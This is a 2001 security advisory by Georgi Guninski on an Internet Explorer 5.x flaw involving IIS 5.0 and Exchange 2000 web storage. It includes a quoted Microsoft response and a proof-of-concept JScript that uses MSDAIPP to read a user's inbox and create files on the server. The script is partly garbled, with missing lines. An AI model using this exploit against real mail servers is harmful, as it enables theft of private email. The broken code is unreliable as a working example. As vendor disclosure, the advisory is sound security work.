Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000

cyrillic logo
Internet Explorer
Windows 2000
About me
In the news
Georgi Guninski security advisory #40, 2001

Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000

Systems affected:
The bug is in IE 5.x (Win2K, probably others) but interaction with IIS 5.0 (or Exchange web storage) is required

Risk: High
Date: 28 March 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts of it without the author's 
written permission.

The information in this advisory is believed to be true based on experiments though it may be false.
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information 
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or program or 
any derivatives thereof.

If a malicous web page is browsed with IE it is possible to list the directories of arbitrary IIS 5.0 servers
to which the browsing user has access. Under certain circumtances it is also possible to read the
user's email or folders if it is stored on an Exchange 2000 server with web storage (it uses IIS 5.0).
It is also possible to create (or probably modify) files on the Exchange 2000 server with web storage.


This is a complex problem and I am really busy to write lengthy advisory.
The probem seems to be "Microsoft OLE DB Provider for Internet Publishing" (MSDAIPP.DSO).
Basically it gives scripting interface for accessing and manipulating object on IIS 5.0 or web storage.
The problem is it allows connecting to arbitrary servers, not only to the server from which the html page is loaded.
Which is worse, if the IIS 5.0 is in "Local intranet zone" IE by default automatically authenticates to it
without prompting the user.

Here is Microsoft's response to my initial report to them
(I sent them a similiar and earlier version of the example bellow)
From: "Microsoft Security Response Center" <>
Hello Georgi,

Thanks for your note. We would appreciate a little more detail as to
what you think can be done with this. If at all possible please lay out
all the parameters when you do go public so you are not just scaring
people with your rankings. Not sure how you can actually exploit this
especially in e-mail in restricted sites zone with all scripting turned
off. Visiting malicious web sites is not real exploit scenario and if
the Intranet zone which is a trusted zone is locked down what can you

So here is an example.

The following example msdaippdemo.html works for me, don't know for you, let me know if it does not work. 
msdaippdemo.html may reside anywhere on the internet.
It contains two "variables" that must be changed - INTRASERVER and USERNAME.
If msdaipp.html is browsed with IE 5.x by user USERNAME (in NT DOMAIN) and INTRASERVER is IIS 5.0 with Exchange 2000 with web storage
(note: INTRASERVER must be a name which is in the "Local intranet zone" in the context of USERNAME) 
then an attacker may obtain all the messages in USERNAME's inbox and send them to arbitrary server and in addition a 
file "newlycreatedfile.html" shall be created in USERNAME's inbox.
In order the attack to succeed the attacker must know the names INTRASERVER and USERNAME (and change them in msdaippdemo.html)
But if the attacker is insider in the NT DOMAIN he knows both of them, so basically it 
allows playing with other people's Exchange 2000 with web storage mailboxes.
If INTRASERVER is running just plain IIS 5.0 with Indexing service enabled a directory listing shall be obtained 
if you edit the example a little - change "Data Source=http://INTRASERVER/"

Written by Georgi Guninski
function f()
conn=new ActiveXObject("ADODB.Connection");
conn.ConnectionString='Provider=MSDAIPP.DSO.1;Data Source=http://INTRASERVER/exchange/USERNAME/inbox';
//change INTRASERVER and USERNAME with real values
rec=new ActiveXObject("ADODB.Record");
rs=new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * from SCOPE()",conn);"about:blank");;
while (!rs.EOF)
rec.Open ("newlycreatedfile.html",conn,3,0); //create file newlycreatedfile.html

Workaround: To solve this particular issue disable Active Scripting, though I do not recommend using IE for browsing
the Internet because this is dangerous.

Note: wrote "Visiting malicious web sites is not real exploit scenario"

Vendor status:
Microsoft was informed on 22 March 2001


| Home | Internet Explorer | Windows 2000 | AIX | Netscape | Greets | More... |